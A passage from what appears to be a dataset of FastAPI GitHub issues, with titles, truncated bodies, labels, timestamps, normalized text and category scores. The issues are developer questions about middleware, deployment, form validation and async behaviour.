Below if my folder structure. Here in **... [TRUNCATED]","question,question-migrate",2022-09-15 13:13:31+00:00,2023-02-27 21:51:33+00:00,7,"question,question-migrate",165.3597,deploy single api from multiple apis as a microservice first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description in below link i saw that we can define routes when we have multiple apis in fast api now my question is how can i deploy single api from whole project i want to keep logger exception utility classes common and don t want to re deploy them below if my folder structure here in truncated,help,0.9559
tiangolo/fastapi,1374389368,Is there an alternative to get the current_app?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
# Example
from flask import current_app

# required
from fastapi import current_app
```


### Description

I need to get the current_app instantiated by using app=FasAPI() in diferent functions and events so I would like to know if there is an alternative similar to the exitent one in flask

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

latest

### Python Version

3.8

### Additional Context

_No response_","question,question-migrate",2022-09-15 11:38:18+00:00,2023-02-27 21:51:29+00:00,3,"question,question-migrate",165.4258,is there an alternative to get the current app first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i need to get the current app instantiated by using app fasapi in diferent functions and events so i would like to know if there is an alternative similar to the exitent one in flask linux details no response fastapi version latest python version no response,help,0.8949
tiangolo/fastapi,1373889490,FastApi in Docker shutting down after some requests,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# Dockerfile
ENTRYPOINT [ ""poetry"", ""run"", ""uvicorn"", ""main:app"" ]
CMD [ ""--host"", ""0.0.0.0"", ""--app-dir"", ""/app/sales_api/"", ""--log-config"", ""/logging.conf"", ""--debug"", ""true"" ]

# logs 

[INFO][2022-09-1416:04:01,091] [Sales API] [sales _api] L36 : Creating the FastAPI application
1663171441105 [INFO][2022-09-1416:04:01,105] [Sales API] [sales_ api] L45 : Attaching API routes to the main application
1663171441106 [INFO][2022-09-1416:04:01,105] [Sales API] [uvicorn.error] L75 : Started server process [15]
1663171441106 (INFO][2022-09-1416:04:01,106] [Sales API] [uvicorn.error] L47 : Waiting for application startup.
1663171441106 (INFO][202... [TRUNCATED]","question,question-migrate",2022-09-15 04:13:29+00:00,2023-02-27 21:51:25+00:00,5,"question,question-migrate",165.7347,fastapi in docker shutting down after some requests first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python dockerfile entrypoint poetry run uvicorn main app cmd host app dir app sales api log config logging conf debug true logs info sales api sales api l creating the fastapi application info sales api sales api l attaching api routes to the main application info sales api uvicorn error l started server process info sales api uvicorn error l waiting for application startup info truncated,feature,0.8807
tiangolo/fastapi,1373250991,Allow creating advanced custom route classes,"(Duplicate of #5390)

### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# N/A
```


### Description

I'd like to be able to implement a multimedia route that can optimally handle not only an entire e.g. msgpacked payload, but individual fields in the payload.

For example, if some models include `bytes` fields, for optimal performance, you want those fields to be (de)serialized only once, i.e. msgpack/base64 to `bytes` or `bytes` to msgpack/base64, instead of, e.g., msgpack to base64 to `bytes`.

### Wanted Solution

Building on top of the contributions of @dmontagu, @sandys, and @jcsaaddupuy in #521, in particular [this comment](https://github.com/tiangolo/fastapi/is... [TRUNCATED]","question,investigate,reviewed,question-migrate",2022-09-14 16:12:03+00:00,2023-02-28 15:42:25+00:00,0,"question,investigate,reviewed,question-migrate",166.9794,allow creating advanced custom route classes duplicate of first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i d like to be able to implement a multimedia route that can optimally handle not only an entire e g msgpacked payload but individual fields in the payload for example if some models include fields for optimal performance you want those fields to be de serialized only once i e msgpack base to or to msgpack base instead of e g msgpack to base to wanted solution building on top of the contributions of dmontagu sandys and jcsaaddupuy in in particular this comment truncated,help,0.9823
tiangolo/fastapi,1372709996,Stop execution of fastapi endpoint after a specified time to unblock resources,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import time
from uvicorn import Server, Config
from random import randrange
from fastapi import FastAPI

app = FastAPI()

def some_func(text):
    """"""
    Some computationally heavy function
    whose execution time depends on input text size
    """"""
    randinteger = randrange(1,120)
    time.sleep(randinteger)# simulate processing of text
    return text


@app.get(""/do_something"")
async def do_something():
    response = some_func(text=""hello world"")
    return {""response"": response}

# Running
if __name__ == '__main__':
    server = Server(Config(app=app, host='0.0.0.0', port=3001))
    server.run()
```... [TRUNCATED]","question,reviewed,question-migrate",2022-09-14 10:04:46+00:00,2023-02-27 21:51:18+00:00,14,"question,reviewed,question-migrate",166.4906,stop execution of fastapi endpoint after a specified time to unblock resources first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code truncated,help,0.9022
tiangolo/fastapi,1372594968,How to run guvicorn as a service?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
gunicorn main:app --workers 4 --worker-class uvicorn.workers.UvicornWorker --bind 0.0.0.0:80
```


### Description

Although the documentation (which btw is excellent) refers to deployment with Docker, and after online search, i cannot find how i will run guvicorn command:
`gunicorn main:app --workers 4 --worker-class uvicorn.workers.UvicornWorker --bind 0.0.0.0:80` as a service (without Docker). 
Is there a recommended way for production? I found that in linux i can create a systemd service and run it always and after a crash. How i can to the same in windows?
And if i do that, do i need a reverse proxy (i like caddy) to run on top?



### Oper... [TRUNCATED]","question,answered,question-migrate",2022-09-14 08:42:51+00:00,2023-02-27 21:51:11+00:00,13,"question,answered,question-migrate",166.5475,how to run guvicorn as a service first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description although the documentation which btw is excellent refers to deployment with docker and after online search i cannot find how i will run guvicorn command as a service without docker is there a recommended way for production i found that in linux i can create a systemd service and run it always and after a crash how i can to the same in windows and if i do that do i need a reverse proxy i like caddy to run on top oper truncated,help,0.9664
tiangolo/fastapi,1372090619,"""request.json()"" hangs indefinitely in middleware","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request, Response
from starlette.middleware.base import BaseHTTPMiddleware, RequestResponseEndpoint


class Middleware(BaseHTTPMiddleware):

    async def dispatch(self, request: Request, call_next: RequestResponseEndpoint) -> Response:
        await request.json()
        response = await call_next(request)
        return response


app = FastAPI()
app.add_middleware(Middleware)


@app.post(""/test"")
async def test(test: dict) -> dict:
    return {""data"": ""test""}
```


### Description

- Run script with: `uvicorn main:app --reload`
- Run CURL with POST request: `curl -X 'POST'   'http://localhost:8000/t... [TRUNCATED]","question,investigate,question-migrate",2022-09-13 22:57:33+00:00,2023-02-28 15:42:19+00:00,11,"question,investigate,question-migrate",167.6978,request json hangs indefinitely in middleware first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description run script with run curl with post request curl x post truncated,feature,0.9136
tiangolo/fastapi,1370370901,Make exclude_unset work in pydantic models dependencies in form body,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, Form, FastAPI
from pydantic import BaseModel

app = FastAPI()


class Item(BaseModel):
    x: str = Form()


@app.get(""/"")
async def foo(item: Item = Depends()):
    print(item.dict(exclude_unset=True))
```


### Description

Open the browser and call endpoint ""/""
It prints `{}`

### Wanted Solution

I would like it not to fill dependency model with nulls, but leave it unset, with a parameter in Depends for backward compatibilty

### Wanted Code

```python
from fastapi import Depends, Form, FastAPI
from pydantic import BaseModel

app = FastAPI()


class Item(BaseModel):
    x: str = Form()


@app.ge... [TRUNCATED]","question,investigate,reviewed,question-migrate",2022-09-12 18:52:30+00:00,2023-02-28 15:42:13+00:00,7,"question,investigate,reviewed,question-migrate",168.8679,make exclude unset work in pydantic models dependencies in form body first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description open the browser and call endpoint it prints wanted solution i would like it not to fill dependency model with nulls but leave it unset with a parameter in depends for backward compatibilty wanted code python from fastapi import depends form fastapi from pydantic import basemodel app fastapi class item basemodel x str form app ge truncated,help,0.9528
tiangolo/fastapi,1370179108,Typer/Fastapi/asyncio interaction bug,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import os
import asyncio


from fastapi import FastAPI
import uvicorn


app = FastAPI()

@app.on_event(""startup"")
async def on_startup() -> None:
    
    # WHEN YOU GET HERE YOU WILL FIND THE state.invisible IS GONE!!!!
    foo = 2


@app.on_event(""shutdown"")
async def on_shutdown() -> None:
    # When the system is shutdown
    pass



async def serverapp(appname:str, serverip:str, ctrlport:int):
    config = uvicorn.Config(appname, host=serverip, port=ctrlport)
    server = uvicorn.Server(config)
    # state.invisible IS STILL PRESENT!!!!
    await server.serve()


if __name__ == ""__main__"":
    im... [TRUNCATED]","question,question-migrate",2022-09-12 16:25:18+00:00,2023-02-28 15:42:09+00:00,6,"question,question-migrate",168.97,typer fastapi asyncio interaction bug first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import os import asyncio from fastapi import fastapi import uvicorn app fastapi app on event startup async def on startup none when you get here you will find the state invisible is gone foo app on event shutdown async def on shutdown none when the system is shutdown pass async def serverapp appname str serverip str ctrlport int config uvicorn config appname host serverip port ctrlport server uvicorn server config state invisible is still present await server serve if name main im truncated,bug,0.9062
tiangolo/fastapi,1370167011,"hash must be unicode or bytes, not sqlalchemy.orm.attributes.InstrumentedAttribute","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
app=FastAPI()

@app.post('/user')
def createUser():
    userPassword=user(password:hashPass(userModel.password))

def verifyPass(plain_password,hashed_password):
        pwd_context=CryptContext(schemes=[""bcrypt""],deprecated=""auto"")
        verified=pwd_context.verify(plain_password,hashed_password)
        return verified

@app.post('/login')
def verifyUser():
    check=verifyPass(pass,user.password)
    return 'user verified'
```


### Description

I have created a user which has hashed password using pwd_context.hash(). I want to verify whether the hash password and the plain password(from user login) are... [TRUNCATED]","question,question-migrate",2022-09-12 16:16:00+00:00,2023-02-27 21:51:07+00:00,3,"question,question-migrate",168.2327,hash must be unicode or bytes not sqlalchemy orm attributes instrumentedattribute first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have created a user which has hashed password using pwd context hash i want to verify whether the hash password and the plain password from user login are truncated,help,0.9398
tiangolo/fastapi,1368826122,Gunicorn keeps booting workers when onstartup raises exception,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()

items = {}


@app.on_event(""startup"")
async def startup_event():
    items[""foo""] = {""name"": ""Fighters""}
    items[""bar""] = {""name"": ""Tenders""}

    raise Exception


@app.get(""/items/{item_id}"")
async def read_items(item_id: str):
    return items[item_id]

""""""
gunicorn app:app --workers 1 --worker-class uvicorn.workers.UvicornWorker --bind 0.0.0.0:80
""""""
```


### Description

I am using the example straight from [here](https://fastapi.tiangolo.com/advanced/events/) starting the server locally using [server-workers](https://fastapi.tiangolo.com/deployment/server-workers/)

I have ... [TRUNCATED]","question,question-migrate",2022-09-11 04:29:07+00:00,2023-02-27 21:51:03+00:00,4,"question,question-migrate",169.7236,gunicorn keeps booting workers when onstartup raises exception first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i am using the example straight from here starting the server locally using server workers i have truncated,help,0.9331
tiangolo/fastapi,1368558591,Stream HTML page with static files and hyperlinks,"### Description

Can `FastAPI` stream HTML page with static files and hyperlinks from another service without using [RedirectResponse](https://github.com/encode/starlette/blob/master/docs/responses.md#redirectresponse)?

### Example Code

```python
from starlette.requests import Request
from starlette.responses import StreamingResponse
from starlette.background import BackgroundTask

import httpx

client = httpx.AsyncClient(base_url=""http://containername:7800/"")


async def _reverse_proxy(request: Request):
    url = httpx.URL(path=request.url.path, query=request.url.query.encode(""utf-8""))
    rp_req = client.build_request(
        request.method, url, headers=request.headers.raw, content=await request.body()
    )
    rp_resp = await client.send(rp_req, stream=True)
    return StreamingResponse(
        rp_resp.aiter_raw(),
        status_code=rp_resp.status_code,
        headers=rp_resp.headers,
        background=BackgroundTask(rp_resp.aclose),
    )


app.add_route(""/titles/{path:path}"", _reverse_proxy, [""GET"", ""POST""])
```

### FastAPI Version

0.78.0

### Python Version

python 3.9

### Additional Context

A common architecture in micro-services is to have a gateway layer that implements a public API that passes requests to micro-services. 

```

                            =============== Docker Network =============
                            ||                                        ||
                            ||  ... [TRUNCATED]","question,question-migrate",2022-09-10 09:05:17+00:00,2023-02-27 21:50:58+00:00,4,"question,question-migrate",170.5317,stream html page with static files and hyperlinks description can stream html page with static files and hyperlinks from another service without using redirectresponse example code fastapi version python version python a common architecture in micro services is to have a gateway layer that implements a public api that passes requests to micro services docker network truncated,help,0.0
tiangolo/fastapi,1365458070,Fastapi run with poetry with .env file have conflict with python-dotenv ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
in core/config.py
from pydantic import BaseSettings
import os

class Settings_es(BaseSettings):
    ES_HOST  : str 
    ES_LOGIN : str
    ES_PW    : str

    class Config:
        env_file = "".env""

In db.database.py
from elasticsearch import Elasticsearch
from core.config import Settings_es

def get_es():
    setting = Settings_es() #must put in here! cannot put n global
    es = Elasticsearch(hosts=setting.ES_HOST, http_auth=(setting.ES_LOGIN,setting.ES_PW))
    return es


if __name__ == ""__main__"":
    print(""test db"")
```


### Description

I am using poetry as project package dependency,

the pyproject.toml have:
[too... [TRUNCATED]","question,question-migrate",2022-09-08 03:14:15+00:00,2023-02-27 21:50:54+00:00,4,"question,question-migrate",172.7755,fastapi run with poetry with env file have conflict with python dotenv first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i am using poetry as project package dependency the pyproject toml have too truncated,help,0.9011
tiangolo/fastapi,1362750406,How to individual run file beside main.py in FASTAPI platform?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
in db/database.py

from elasticsearch import Elasticsearch
from dataclasses import dataclass
from core.config import Settings
# from metering_api_gateway.core.config import Settings
```


### Description

How can i individual test/run a python file beside main.py in FASTAPI framework?
 

### Operating System

Linux

### Operating System Details

I have similar question related to following
[](https://stackoverflow.com/questions/59300393/how-to-run-seperate-files-in-fastapi-platform)



### FastAPI Version

0.82

### Python Version

3.8

### Additional Context

![Screenshot from 2022-09-06 13-48-07](https://user-images.githubusercontent.com/7... [TRUNCATED]","question,question-migrate",2022-09-06 06:02:52+00:00,2023-02-27 21:50:50+00:00,5,"question,question-migrate",174.6583,how to individual run file beside main py in fastapi platform first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description how can i individual test run a python file beside main py in fastapi framework linux details i have similar question related to following fastapi version python version screenshot from truncated,help,0.9136
tiangolo/fastapi,1362424207,Run async operations on separate threads,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# some_router.py
@router.get(""/"")
async def get_some_things():
   return await some_long_taking_method()
```


### Description

Hey, I wanted to ask a question that has been buzzing me all over these days. It's about FastAPI and it behavior with threads and async/not async functions.
As you can see in the sample code, I have a router with an async endpoint that runs an operation that takes for example 15 seconds. After doing some research I found this: ""Thus, def (sync) routes run in a separate thread from a threadpool, or, in other words, the server processes the requests concurrently, whereas async def routes run on the main (single) thread, i.... [TRUNCATED]","question,question-migrate",2022-09-05 19:54:40+00:00,2023-02-27 21:50:42+00:00,18,"question,question-migrate",175.0806,run async operations on separate threads first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hey i wanted to ask a question that has been buzzing me all over these days it s about fastapi and it behavior with threads and async not async functions as you can see in the sample code i have a router with an async endpoint that runs an operation that takes for example seconds after doing some research i found this thus def sync routes run in a separate thread from a threadpool or in other words the server processes the requests concurrently whereas async def routes run on the main single thread i truncated,help,0.9136
tiangolo/fastapi,1362201955,"422: ""value is not a valid dict"" on Form() BaseModel validation - @app.post uses Path(), File() and Form() - Request called from SwaggerUI","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from enum import Enum

from fastapi import (
    FastAPI,
    File,
    UploadFile,
    Form,
)
from pydantic import BaseModel, Field

app = FastAPI()


# Models
class ModelProcessor(str, Enum):
    CPU = ""cpu""
    GPU = ""gpu""
    TPU = ""tpu""
    DEFAULT = CPU


class ModelThresholds(BaseModel):
    confidence: float = Field(0.5, ge=0.0, le=1.0, descritpiton=""Confidence Threshold"")
    nms: float = Field(
        0.4, ge=0.0, le=1.0, description=""Non-Maximum Suppression Threshold""
    )


class ModelOptions(BaseModel):
    processor: ModelProcessor = Field(None, description=""Processor to use for model"")
    height: int =... [TRUNCATED]","question,question-migrate",2022-09-05 15:43:14+00:00,2023-02-27 21:50:34+00:00,11,"question,question-migrate",175.2551,value is not a valid dict on form basemodel validation app post uses path file and form request called from swaggerui first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from enum import enum from fastapi import fastapi file uploadfile form from pydantic import basemodel field app fastapi models class modelprocessor str enum cpu cpu gpu gpu tpu tpu default cpu class modelthresholds basemodel confidence float field ge le descritpiton confidence threshold nms float field ge le description non maximum suppression threshold class modeloptions basemodel processor modelprocessor field none description processor to use for model height int truncated,feature,0.9729
tiangolo/fastapi,1360981883,Possible wrong response serializing with Pydantic model,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
if isinstance(res, BaseModel):
